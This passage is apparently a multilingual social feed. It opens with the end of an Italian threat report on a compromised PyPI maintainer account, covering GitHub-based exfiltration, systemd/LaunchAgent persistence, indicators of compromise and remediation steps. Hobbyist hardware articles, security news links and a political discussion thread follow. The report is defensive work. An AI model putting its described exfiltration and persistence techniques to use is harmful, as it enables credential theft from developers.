Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

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Less Than 10 Years? Commonwealth Fusion Systems Applies to Plug into Grid in 2030s


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Apparently what a fusion power plant should look like

Whenever the topic of fusion power comes up, someone will say it’s only 10 years away from commercialization in an excited tone, and someone older or more cynical will point out that it’s been 10 years away since Eisenhower was president. So it’s with a certain-sized crystal of sodium chloride that we share the news here that the US-based Commonwealth Fusion Systems is applying to feed 400MWe into the grid there by the early 2030s.

The early 2030s is, notably, less than ten years from now.

Commonwealth Fusion Systems isn’t a bunch of nobodies out to suck up venture capital; they’re a talented group of researchers from MIT’s well-known plasma laboratory out to suck up lots of venture capital and hopefully build reactors along the way. So far, the second part is going better than the first: they’ve raised a couple billion dollars, which has let them make great strides in building their SPARC reactor– like crafting the big magnet we told you about in 2021. As that article describes, SPARC is the precursor to the later, larger ARC reactor they hope to hook to the grid in slightly under a decade. Alas, SPARC remains under construction as of this writing. ARC is evidently in the final planning stages, with a physical location determined and grid-tie applied for at the “Fall Line Fusion Power Station” in Virginia.

CFS’s reactors are of the Tokamak type that has been favoured at universities since the 1970s. From China to Europe’s ITER who are also planning to produce power before another decade passes— though not, notably, into a power grid. While promising, Tokamaks aren’t the only game in town, either– steampunk startup General Fusion started making plasma last year, though while if it works it has some big advantages, that one is probably the traditional “ten years away” still.

What do you think? Will fusion power be in the grid before humans make it back to the moon? Add the flying-car potential of eVTOL and we might finally get close to the future we were promised.


hackaday.com/2026/06/07/less-t…

Cybersecurity & cyberwarfare ha ricondiviso questo.

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TA4922: il gruppo cinese che ha deciso di fare sul serio in Europa – e l’Italia è nel mirino

📌 Link all'articolo : redhotcyber.com/post/ta4922-il…

A cura di Luca Stivali del gruppo DarkLab

#redhotcyber #news #cybersecurity #hacking #malware #ransomware #spearphishing

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Scopri come un truffatore ha venduto dati di 7 milioni di anziani americani per anni

📌 Link all'articolo : redhotcyber.com/post/scopri-co…

A cura di Carolina Vivianti

#redhotcyber #news #frodeinformatica #cybersecurity #hacking #malware #truffalotteria

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Workshop RHC Conference 2026 - From Capture-the-Flag to Real-World Bug Hunting: A Latin American Perspective

Guarda il video: youtube.com/watch?v=07CeSOVAFv…

#redhotcyber #rhcconference #conferenza #informationsecurity #ethicalhacking

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Il Pentagono accelera sulla cyber security. Gli USA preparano il campo di battaglia digitale

📌 Link all'articolo : redhotcyber.com/post/il-pentag…

A cura di Luigi Zullo

#redhotcyber #news #sicurezzainformatica #cybersecurity #difesainformatica #strategiabellica

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333 – Hanno fregato l’AI con l’AI e si sono presi gli account camisanicalzolari.it/333-hanno…

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A RayCast FPS in COBOL


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COBOL is not the first language anyone would ever think of when writing a First Person Shooter– after all , it’s the Common Business Oriented Language, not the Common Game Oriented Language. For Youtube-based hacker [icitry] though, that’s the point. The only way to determine if COBOL would be enough to write an FPS game was to do it.

Sure, you could rest on your laurels knowing that the language is Turing complete and therefore capable by definition, but what’s the fun in that? Now the pipeline for this game is as hacky as anything– COBOL doesn’t exactly have a robust graphics stack or a lot of libraries for pushing pixles, so he’s outputting each frame of the game as raw bitmap to STDOUT, and letting ffplay assemble the images. Control enters the same way, with the terminal set to raw input and the COBOL program reading STDIN.

As for what the images consist of, he’s going for a standard Wolfenstien-inspired raycasting shooter. [icitr] provides a decent explanation of the raycasting algorithm, along with why implementing in COBOL is a silly thing to try. That’s a theme here; he’s able to implement sprites and the logic to move and attack enemies, while constantly complaining about COBOL. If that wasn’t enough, he adds variable-height sectors to bring this much closer to a true DOOM clone. By the end, there’s a full game. It’s all up on GitHub on an Apache license.

While this video is not the most gentle introduction to COBOL, it does show you can hack the business-specific language to do whatever you’d like.


hackaday.com/2026/06/06/a-rayc…

Building a Gifford-McMahon Cryocooler With 3D-Printed Parts


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Although cryocoolers are capable of pretty impressive cooling, for many of them the underlying working principle is simple enough that you do not need any special skills or a big budget to make your own version. Take the Gifford-McMahon cryocooler for example, which works using nothing more than some kind of coolant gas and a piston in a cylinder that you can even 3D print, as demonstrated by [Hyperspace Pirate] in a recent video.

The lowest temperature reached across the two prototypes was only -84°C, but this was mostly due to some sub-optimal design choices, such as the use of regular air and a clear acrylic tube to get a good glimpse at the inner workings. The trickiest part of this type of cryocooler is probably that you need to move the piston containing the regenerator between both ends of the cylinder to get a cool and a hot side.

That particular problem was solved by using magnets to move the piston externally, which worked beautifully until the problem of using regular compressed air from the shop compressor caused massive ice formation that jammed up the piston. Obviously this was not an unexpected issue, and for the next step the coolant gas will be replaced by helium, as making that gas freeze up requires quite a bit more effort.

youtube.com/embed/Jj7Q7OqaW4A?…


hackaday.com/2026/06/06/buildi…

Pi Pico Demos, Therefore It Is


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A good demo, like [Linus Akesson]’s Sum Ergo Demonstrato, looks like magic to the average hacker. To normies who don’t know the limitations of the RP2350, they don’t see the big deal. To anyone who has spent any time with the chip, though, it’s a series of tricks you cannot help but be amazed by. Fortuanately for us, [Linus] isn’t actually a magician, because while a magician never reveals his tricks, [Linus] has an hour-long video explaining exactly how his demo was accomplished. We’ve embedded both the demo and the explanation below.

Even if you aren’t into YouTube, you should check out the demo video, and again– remember this is all on a Pi Pico with only the extra passives required for video-out. Then you can watch [Linus] explain how he did it, which is really best heard in his own words. There are a couple of bleeding-edge tricks on the RISC V core and peripherals that we would hate to misrepresent– especially the clever hack with the interpolator that he uses for 3D acceleration.

If this sounds a bit familiar, it’s because we were equally impressed by his Kaleidoscopico demo last year. From demos like this to 3D engines on the ESP32, its amazing what you can do on modern micros if you’re willing to hit the limits of the hardware.

Thanks to [Stephen Walters] for the tip!

The Demo:

youtube.com/embed/v8zKDotYh9A?…

Technical video:

youtube.com/embed/0_9YS2tsdYc?…


hackaday.com/2026/06/06/pi-pic…

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The current state of business.

#business #ai #advertising #advertisement

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U.S. CISA adds SolarWinds Serv-U flaw to its Known Exploited Vulnerabilities catalog
securityaffairs.com/193245/sec…
#securityaffairs #hacking

Pi Pico Puts Bluetooth Keyboards on the I2C Bus


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If you’ve ever worked with I2C, you know its one of those things that makes working with modern microcontrollers such a pleasure. With a few wires and not many more lines of code, you can communicate with all sorts of hardware such as sensors, displays, and input devices. There are even I2C keyboards out there, although they tend to be a bit pokey — and not in the good way as it pertains to keyboards.

But the bt2i2c project from [Roberto Alsina] promises to improve things. With his firmware flashed to a Pi Pico W, you can establish a connection with any standard Bluetooth keyboard and have the keystrokes sent over the wire via I2C. As far as your project is concerned, the input will appear to be coming from a BlackBerry BBQ20/BBQ10 keyboard using the address 0x1F, which means that there’s already plenty of code out there to work with. While [Roberto] explains its not strictly necessary, connecting a ST7789 display to the Pi Pico over SPI will give you some visual feedback on connection status.

As microcontrollers become increasingly powerful and capable of the sort of thing we would once have done on a “real” computer, a project like this has some fascinating potential. We’ve seen a number of “writerdeck” projects running on chips like the ESP32, and it’s not hard to see the appeal of being able to easily pair your favorite Bluetooth keyboard up to one of them.


hackaday.com/2026/06/06/pi-pic…

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EOLE - Evento europeo sul diritto all'open source e al software libero

EOLE è un evento internazionale che mira a incoraggiare la condivisione e la diffusione delle conoscenze giuridiche relative alle licenze aperte, nonché lo sviluppo e la promozione di buone pratiche.

eolevent.eu/eole-2026/

@eticadigitale

Stratasys vs Bambu Lab: Industrial vs Consumer ABS Showdown


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The test parts being printed on the Stratasys Fortus 450mc. (Credit: My Tech Fun, YouTube)The test parts being printed on the Stratasys Fortus 450mc. (Credit: My Tech Fun, YouTube)
Professional Stratasys FDM printers demand a pretty hefty price premium over your typical hobbyist-level machine, with the gold-plating continuing even with the special filament cartridges that you buy for some of their printers.

This raises the question of in how far this eye-watering price tag is justified, and how much is just you paying for support and the brand name. After acquiring a spool of Stratasys ABS filament via a US viewer, [Dr. Igor Gaspar] set to work to try and answer this question.

The viewer had already liberated the spool of ABS+ P430 filament from its cartridge, making it easy to use that directly with the Bambu Lab FDM printer.

To make it a fair comparison, [Igor] also needed to have a sample printed on a real Stratasys printer, for which he used a local company’s services. An interesting sidenote here is that the US viewer’s company moved away from Stratasys to Bambu Lab printers.

[Igor] was able to see his test parts being printed on the Stratasys printer, as said company is in the same city. This showed him that it took 14 hours to print the parts versus 3.5 hours on the Bambu Lab printer, suggesting that his worries about the right printing parameters for the Stratasys filament were warranted. Sussing those out was thus paramount for a fair comparison and warranted some test prints.

From a sheer aesthetic point of view the Stratasys-printed parts looked much cleaner, and their dimensional accuracy was also significantly better due to the slicer adjusting for this. Between the used Stratasys M30 and Bambu Lab ABS filaments there’s no clear winner, with both trading blows. Amusingly enough, the older Stratasys ABS type in the form of the ABS+ P430 filament performed the best of all when printed on the Bambu Lab printer at its preferred temperature setting.

Moral of the story is thus that – unless you really want to pay for that service contract – to loot old Stratasys ABS spool cartridges and use them in your hobbyist FDM printer. As [Igor] says in the conclusion, the nicer looks is probably due to them printing very thin layers, much finer than the 0.2 mm layers he used. This would also match the much longer print time and is thus something we can replicate on any FDM printer with a temperature-controlled printing environment.

youtube.com/embed/n0kpiVpkZlI?…


hackaday.com/2026/06/06/strata…

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💥🚨 FLASH SALE: -10% FINO AL 7 GIUGNO PER L'OTTAVA LIVE CLASS "DARKWEB & CYBER THREAT INTELLIGENCE" IN PARTENZA A LUGLIO

Per info e iscrizioni: 📱 💬 379 163 8765 ✉️ formazione@redhotcyber.com

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✅ Presentazione del corso del prof. Pietro Melillo : youtube.com/watch?v=9VaQUnTz4J…
✅ Webinar introduttivo di presentazione al corso : youtube.com/watch?v=ExZhKqjuwf…
✅ Workshop di DarkLab alla RHC Conference 2026 : youtube.com/watch?v=yE1Li3TS5B…

Per info e iscrizioni: 📱 💬 379 163 8765 ✉️ formazione@redhotcyber.com

#redhotcyber #formazione #formazioneonline #ethicalhacking #cti #cyberthreatintelligence #cybersecurity #cybercrime #cybersecuritytraining #cybersecuritynews #privacy #cti #cyberthreat #intelligence #infosec #corsi #corsiprartici #liveclass

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Report: #Anthropic Deploys Engineers to Support #NSA Use of #Mythos
securityaffairs.com/193234/ai/…
#securityaffairs #hacking
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Inside the Trump admin's push to integrate AI into the healthcare system, including an FDA regulatory fast track for digital health tech like AI chatbots (Elizabeth Dwoskin/Washington Post)

wapo.st/4vwr1xb
techmeme.com/260606/p5#a260606…

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Attacco zero-day a CISCO Catalyst SD-WAN Manager: come proteggersi ora

📌 Link all'articolo : redhotcyber.com/post/attacco-z…

A cura di Carolina Vivianti

#redhotcyber #news #ciscosicurezza #vulnerabilitainformatica #attacchinformatici #cvesicurezza

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La grande redistribuzione: il piano globale per smantellare la plutocrazia e fermare il collasso climatico. Lavorando (molto) meno e tassando i ricchi

Il Global Justice Report degli economisti del World Inequality Lab, tra cui Thomas Piketty, propone una radicale trasformazione dell’ordine economico mondiale di qui al 2100 per evitare la catastrofe ambientale. Il reddito medio mensile di tutti gli Stati convergerebbe a 5mila euro

ilfattoquotidiano.it/2026/06/0…

@politica

in reply to informapirata ⁂

Comprendo, ma comunque è un reddito buono, cioè non è una roba da viver di espedienti o morir di fame....

Le cure mediche e i servizi pubblici dovrebbero continuare a rimanere con prezzi calmierati....ma immagino ne avranno tenuto conto nello studio del progetto per mantenerli accessibili.

Battute a parte, il progetto mi interessa molto, sono anni che leggo di decrescita e leggo che servirebbe un piano/uno studio strutturato....eccone uno finalmente.

Questa voce è stata modificata (3 giorni fa)
in reply to Andre123

@andre123 certo che è buono, ma ti faccio solo riflettere che è più facile ottenere un aumento in busta paga di 100 euro l'anno dal proprio datore di lavoro piuttosto che ottenere 5000 euro mensili dalla "federazione internazionale dei capitalisti di buona volontà". E allora perché non riusciamo neanche a ottenere i 100 euro annui?

Che dire... L'utopia ha sempre il suo fascino 😅

@politica

in reply to informapirata ⁂

hai ragione naturalmente, ma sono convinto che abbiano ragione al 100 % , nel senso che è la sola via percorribile secondo me. Gli ultra ricchi (no, non il vicino con la villetta e il bmw) sono un cancro per le democrazie, per il clima e financo per quei mercati economico/finanziari fluidi e funzionali che , a parole, dicono di amare.

Sembra utopia (ad oggi lo è, provare a spiegarlo a Trump...) , ma credo che un progetto così (e di sicuro andrà corretto strada facendo , rivisto, messo a punto ecc ) sia la sola strada per salvarci dal cambiamento climatico evitando al contempo guerre apocalittiche. Non vedo molte altre vie per uscirne.
E la cosa buffa è che sì, pare utopia ,ma il 99% della popolazione mondiale ne gioverebbe. A patto di far le cose per bene naturalmente. Solo l'1% starebbe peggio di oggi. Diciamo che brontolerebbe un 2/3% della popolazione e stop...

Sbaglierò di sicuro, ma a me pare sia la sola strada possibile.

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in reply to Andre123

@andre123
Poi è arrivato Robespierre però, e i poveracci non stavano mica meglio.

Allora, pur essendo stata rimproverata più volte per la mia negatività, ipotizzare che tutti le nazioni del mondo si mettano d'accordo su un sistema universale di tassazione dei ricchi è pura utopia. Anche se il 90% dei paesi lo facesse, pensi davvero che Panama o altri non cercherebbero di accomodare gli ultra-ricchi?

@informapirata @politica

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in reply to s1m0n4

@s1m0n4 esattamente. La rivoluzione francese nasce grazie alla spinta dell'alta borghesia. E quella russa, grazie a un intellettuale di primissimo piano che riuscì a fare leva sul monumentale senso di sé che aveva il popolo russo, di fronte alla decadenza inarrestabile dell'impero zarista.

Trasformare la diseguaglianza in forza politica è un'impresa che negli ultimi 100 anni è riuscita solo al capitalismo.

Ma non è impossibile farlo: solo che è molto difficile

@andre123 @politica

in reply to Andre123

@andre123
Noi, con l'UE, possiamo ritenerci fra il i paesi che fanno più sforzi di integrazione a tutti i livelli. Eppure, già fra i 27, le politiche fiscali non sono minimamente uniformate. l'Irlanda attira le big tech statunitensi con tassazioni molto favorevoli. Il Portogallo attira i pensionati di tutto il mondo. Pure l'Italia, con la flat tax per i redditi superiori a 300k è un paradiso fiscale. No, non parliamo solo di Panama.

@informapirata @politica

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in reply to s1m0n4

ah non mi riferivo alla situazione odierna, come a dire ehi si può fare domani mattina, basta poco. Intendevo dire che un movimento organizzato che riuscisse a portare il 60% (non il 90%) del pianeta a essere "ostile" ai multi miliardari avrebbe una buona probabilità di successo.

Intendo dire che è una lotta dove non devi arrivare ad aver il 90% dalla tua per vincere. L'obiettivo è più basso secondo me. Perché sono loro a non farcela senza il 90% del pianeta a disposizione.

Chiaro è una lotta che non è vinta in partenza , tutt'altro, andrebbe costruita e con grandissimi sforzi e molti passi falsi temo. Servirebbe (tanta) gente che è disposta a rischiare e a lottare credendoci con forza , piuttosto che dire : naaah impossibile, non mi ci metto neanche.
Ovvio che servirebbero anni e anni, lustri.

Di promto, semplice , facile da spiegare con qualche slogan ad effetto invece che complesse spiegazion, e a colpo sicuro o quasi , non c'è nulla credo.

E non penso esistano molte altre vie per evitare un disastro sicuro. Quello si , praticamente certo. Salvo cambi qualcosa.

Questa voce è stata modificata (3 giorni fa)

informapirata ⁂ reshared this.

in reply to Andre123

@andre123
Sì, in teoria concordo. In pratica, però, se tutti guadagnassimo 5000 €/mese, pur in condizioni più che dignitose rispetto al costo della vita, ci sarebbero persone (e non sarebbero nemmeno poche, imho) che pronerebbero e farebbero di tutto per guadagnare di più. Perché fa parte della natura umana.

Quello che attualmente mi terrorizza è che la creazione di ricchezza, ormai, è sempre più slegata dal lavoro effettuato. È questo è un fenomeno senza precedenti.

@informapirata

in reply to s1m0n4

Come scrivi, fa parte della natura umana. Ma, immagino, se riuscissimo a creare un mondo più equo, dove NON tutti, MA la maggior parte delle persone ha di che vivere molto decentemente, allora probabilmente il numero di interessati a guadagnar di più un pochino scemerebbe.
Non ci sarebbero più costanti e martellanti incentivi a guadagnar di più. Ce ne saranno ancora, ma un pò mewno, e magari saranno visti "male" invece che bene come oggi. Non puoi rimodellare l'essere umano in 10 anni. Ci vogliono generazioni intere. E per certe cose siamo uguali uguali agli uomini e donne descritti nell'Antico Testamento...

La produzione (concreta, di cose utili ) sarebbe calibrata per soddisfare le necessità di tutti in maniera abbastanza equa (l'equità perfetta, quella sì, è abbastanza utopica).

Il "perfetto" è nemico del fare qualcosa intanto. E se non facciamo nulla dicendo:
ok o cambia tutto dall'oggi al domani, che possa vederlo anche io in qualche anno qusto cambiamento...non finiremo bene.

Forse dovremmo iniziare a tentare un cambiamento, sapendo che ci vorranno una generazione, o due, per vederne dei risultati. Che quindi la generazioni attuali dovranno solo darsi da fare per correggere una rotta nefasta impostata dalle generazioni precedenti, e forse senza neppure poter vedere come andrà a finire o goderne i risultati. Risultati che non saranno neppure perfetti, che ogni tanto bisognerà mettersi a rivedere un pò la situazione e correggere il tiro ecc. Ci sarà anche di che litigare (senza armi eh, discutere animosamente intonno a un tavolo intendo) , da far tentativi che andranno a rotoli ecc.

Perlomeno, io la vedo così. Non esistono bacchette magiche e i cambiamenti così importanti vanno iniziati dai nonni, ed i bisnipoti ne vedranno qualche risultato. Se tutto va bene.

Questa voce è stata modificata (2 giorni fa)
in reply to rag. Gustavino Bevilacqua

@GustavinoBevilacqua @s1m0n4

E' questo fatto, penso, che porta molti a vedere come utopistici dei progetti a lungo termine.

Eppure penso che nella situazione odierna non vi siano interruttori magici. Tutto al contrario. Per quello penso che la decrescita (che è un pò un mix di teorie, non un corpus compatto e monolitico) offra spunti (non manuali operativi) molto validi.
A patto di accettare che richiedono parecchio tempo.

Ma siccome alternative più rapide non ne vedo (una rivoluzione ? Auguri e buona fortuna contro Palantir & co.) penso sarebbe saggio almeno provare a studiarle e tentarle... E non solo nel "Sud" del mondo....

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in reply to rag. Gustavino Bevilacqua

@GustavinoBevilacqua @s1m0n4

Questa è una cosa che bisognerebbe provare a combattere... sin dalla scuola (dell'infanzia, sai quanti me ne descrive la mia compagna già messi così a 4 anni....)

E son convinto che oltre ai social centri anche come viene diretto il mondo...una sorta di CDA permamente...che naturalmente guarda alle trimestrali e chissenefrega di "fra dieci anni".

Maurizio Dallocchio, prof molto noto di economia aziendale, mi diceva che ciò era dovuto al fatto che è già difficilissimo far proiezioni a 3/6 mesi. Figurarsi sperare di azzeccare a 2/3 anni cosa accadrà.
Ok, ma qui non si tratta di far previsioni secche, ma casomai di seguirne l'evoluzione correggendo la rotta strada facendo...

in reply to Andre123

@andre123 @GustavinoBevilacqua @s1m0n4 c'è anche una differenza sostanziale tra la natura delle previsioni che deve fare un'azienda e quello che si deve fare a livello governativo. L'amministrazione di un Paese si deve occupare principalmente di garantire i servizi essenziali, e questo si può fare benissimo anche senza spiluccarsi il cervello su «ah ma come saranno le cose tra dieci anni».

Andre123 reshared this.

in reply to rag. Gustavino Bevilacqua

@GustavinoBevilacqua @oblomov @s1m0n4

Beh questa però è pura incuria/noncuranza/menefreghismo/cialtroneria (scegli il nome che preferisci !)

Non penso le previsioni abbiano nulla a che fare. Era un dato, neppure una previsione, ma nessuno si è preso la briga di ragionarci sopra e far qualcosa di sensato.

in reply to Andre123

@andre123 @GustavinoBevilacqua @s1m0n4

parliamo di bambini di 4 anni, è naturale che siano "messi così", non hanno ancora la maturità di attendere per la gratificazione di un bisogno o desiderio. è l'età in cui si inizia a imparare, piano piano, con l'aiuto degli adulti..

il problema è quando gli adulti sono così, non i bambini. per loro è fisiologico

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in reply to BB

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Io non ritengo che età anagrafica e maturità vadano di pari passo.

Basta guardare cose come questa casa per rendersene conto.

aus.social/@weirdestate/116705…


This is another home that has so much going on with it, I didn't know where to start. I guess I'll start here.
realestate.com.au/property-hou…

BB reshared this.

in reply to rag. Gustavino Bevilacqua

@GustavinoBevilacqua @bbacc @s1m0n4

E' una cosa che ho notato. chi ha un mare di soldi da sbatter via ogni tanto fa cose che ti domandi che senso abbiano...

Non ne hanno di senso, è viver nel paese dei balocchi potendolo fare. Della serie, lo voglio, posso, chissenefrega dell'universo mondo , lo faccio e basta.

Appunto, due anni...

in reply to rag. Gustavino Bevilacqua

@GustavinoBevilacqua

ci sono delle attività per cui ho il rifiuto totale e se non sfrutto il periodo finestra in cui tollero l'idea di portarle a termine, non lo faccio più 🤣 questi sono i casi dove prenderei la macchina e andrei a comprare quello che mi serve subito perché sennò ciao gatto

@andre123 @s1m0n4

in reply to BB

Ed è, almeno per me dall'esterno, curioso come questo non sempre dipenda dalla famiglia di origine (in parecchi casi sì, ma non sempre).

Cioè alcuni di questi bimbi più irrequieti vengono da situazioni oggettivamente un pò complicate (brutte separazioni, genitori allo sbando che poco si curano dei figli ecc.) ; ma altri invece da genitori attenti e premurosi, con una vita normalissima , che cercan subito di portare il figlio da uno specialista ecc..

@GustavinoBevilacqua @s1m0n4

Questa voce è stata modificata (2 giorni fa)
in reply to Andre123

@andre123

vero, è un fenomeno globale, siamo tutti sovrastimolati, abbiamo poco tempo, dobbiamo fare tutto e sapere tutto, va tutto molto veloce in generale, le relazioni sono sempre piu mediate dai mezzi tecnologici e c'è poco contatto con la natura; questo oltre ai fattori genetici
poi abbiamo anche la tendenza a medicalizzare i fenomeni che non ci tornano, che a volte è fondamentale, a volte è un modo di tenere sotto controllo qualcosa che ci pare scomoda
@GustavinoBevilacqua @s1m0n4

in reply to informapirata ⁂

che in soldoni vorrebbe dire "quel che è stato fatto dagli anni 70 per reagire alla stagflazione ha causato disastri immani, il neoliberismo sta distruggendo il pianeta oltre alle società umane (che, ricordiamolo, per gli alfieri del neoliberismo come Thatcher "società" è un concetto che nemmeno esiste), quindi ripartiamo da Keynes e aggiustiamo il tiro. In linea di principio concordo, ma approfondirò andando alla fonte. Grazie dello spunto. Ho un piccolo appunto (--->)

Homebrew Webcam Support for the Original Xbox


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These days, we take it for granted that a video game console will have multiple USB ports. There’s even an expectation that basic peripherals such as storage devices will “Just Work” when plugged into the system — a far cry from the days when each system had its own proprietary memory card.

The original Xbox from 2001 actually had USB ports as well, it’s just that they were used for the controllers and had non-standard connectors that kept you from plugging in other devices. But a simple adapter gets you a standard USB-A port, and after that it’s just a matter of software. Like this homebrew project to get generic USB webcams working on Microsoft’s first foray into console gaming.

Well, “generic” may be pushing it a bit, as the project by [Darkone83] currently lists only two compatible cameras. The first is the Xbox Live Vision Camera, which was never intended to be used on the original Xbox and was instead an accessory for Microsoft’s follow-up console, the Xbox 360. Interestingly, the other supported camera happens to be Sony’s PS2 EyeToy. Claiming that you plugged a PS2 camera into your Xbox would have been fighting words back on the playground circa 2003, but now it’s a reality thanks to the power of open source.

Now there technically was a camera for the original Xbox, but it was only released in Japan and is quite rare. Perhaps unsurprisingly it used the same OV519 chipset as the EyeToy and later Vision Camera, and reverse engineering how the console communicated with it was critical to the development of this project.

As of right now, there’s not much practical application for this webcam driver. It just shows the image from the camera on your TV in glorious 320×240 resolution. But now that the code to make it work is out in the wild, hopefully other Xbox homebrew projects will add support for it.

Although things aren’t quite as active these days as they once were, the hacking scene for the original Xbox is the stuff of legend. If you ever see one of this gargantuan consoles at a flea market for cheap, there’s still plenty of fun to be had pushing the system outside of its comfort zone.


hackaday.com/2026/06/06/homebr…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Ho creato un gruppo di discussione focalizzato sulla federazione di Wordpress. Che ne pensate?


Mi farebbe piacere se chi ha un blog federato o, più in generale, chiunque si interessi a questo argomento, partecipasse alle discussioni di questo gruppo. Che ne pensate?

Mi farebbe piacere se chi ha un blog federato o, più in generale, chiunque si interessi a questo argomento, partecipasse alle discussioni di questo gruppo.

Che ne pensate?

in reply to Elena Brescacin

Ho creato un gruppo di discussione focalizzato sulla federazione di Wordpress. Che ne pensate?


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@elettrona@poliversity.it sicuramente i selfhoster sono i soggetti con le esperienze più interessanti.

Sarebbe interessante creare una serie di guide collettive per federare il proprio blog. Qualcosa di semplice come la guida che @acor3@mastodon.uno ha scritto su suo blog


Ora vedremo come fare affinché il tuo blog possa implementare il protocollo ActivityPub. I tuoi lettori potranno seguire i post del tuo blog su Mastodon e altre piattaforme federate che supportano ActivityPub, attualmente il plugin supporta:

# installare
Installaiamo il plugin ActivityPub By Matthias Pfefferle
# prendere il proprio Fediverse Profile identifier
Se apriamo il profilo del nostro utente, in basso troveremo queste informazioni


# vedere i followers
alla pagina
/wp-admin/users.php?page=activitypub-followers-list
è possibile vedere gli utenti che ci seguono
# problemi noti ## Yoast SEO
Se si usa il plugin Yoast SEO l’url della pagina del profilo dell’autore viene riscritta
acortech.it/author/admin/
e quindi non funziona il follow da instanze mastodon

infatti nel pannello site Healt
/wordpress/wp-admin/site-health.php
dice


### come risolvere
Seguendo la guida di yoast possiamo abilitare gli archivi dei post dell’utente andare in /wp-admin/admin.php?page=wpseo_titles#top#archives

e abilitare in questo modo:

#fediverso #mastodon

acortech.it/2022/11/19/come-fa…


macfranc reshared this.

in reply to macfranc

Io ne ho scritta una su come creare un multilingua di base usando gutenberg. Sistema che sto dismettendo in quanto oramai questo tipo di struttura è per me obsoleta, e la voglio rifare in modo più scalabile e stabile. Te la condivido in altro modo, devo capire come, perché qui su questo spazio, i post vanno via dopo 2 settimane. Ora è su WordPress sul sito di produzione. Ma se interessa la piazzo su feddit. O su citiverse (dovrei avere l'account pure lì)
in reply to macfranc

@wordpress

Io di ActivityPub e Fediverso, ho parlato al WordCamp Pisa 2025.

cc @acor3

wordpress.tv/2025/12/15/activi…

3D Printing a Miniature CoreXY Printer


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A small, orange 3D printer is shown on a desk with a filament dry box. The printer is printing a waving cat figurine. The printer is a CoreXY configuration, and the side panels are 3D-printed orange plastic.

Although no longer so common as during the heyday of the RepRap movement, it’s easier than ever to build your own largely-printed 3D printer, with designs such as Voron’s delivering excellent quality. Nevertheless, there are still niches to be filled by new designs, such as [Alex Yu]’s mostly-printed Encore design.

The Encore uses CoreXY kinematics and linear rails for the X and Y axes. Its has no internal frame; the linear rails are mounted directly to the side panels, which were printed but provided sufficient rigidity. The printer is modular, and all the parts are designed to fit within a 225 mm print bed. The Encore itself uses a 120 mm bed, a Bowden extruder, and a lightweight Bambu-style hotend. The drive motors are NEMA 17 stepper motors, and they use sliding mounts for belt tensioning. The power supply sits behind the rods supporting the Z axis, and the controller board is in the base of the printer.

Building the printer was simple; tuning it, less so. The combination of a Bambu-type hotend with a Bowden extruder created some complications, and the hotend initially received too little cooling. [Alex] solved the cooling issues by using a stronger fan on the hotend, redesigning the ventilation shroud, and adding two inward-blowing fans along the sides of the build volume. After correcting some issues with Z-axis stability, the Encore produced some quite good-looking parts. [Alex] is still improving and documenting some aspects of the printer, but he’s uploaded his progress so far to GitHub.

We’ve seen some mostly-printed printers before, including a high-speed printer, one which printed all structural components, and one which was entirely 3D printed.

youtube.com/embed/9xukniyO6fI?…

Thanks to [DJBiohazard] for the tip!


hackaday.com/2026/06/06/3d-pri…

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🎙️ Risky Bulletin: EU unveils digital sovereignty plan

risky.biz/RBNEWS573/

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📰 Risky Bulletin: The EU debuts digital sovereignty plan

risky.biz/risky-bulletin-the-e…

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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes
#tech
spcnet.it/azure-container-linu…
@informatica


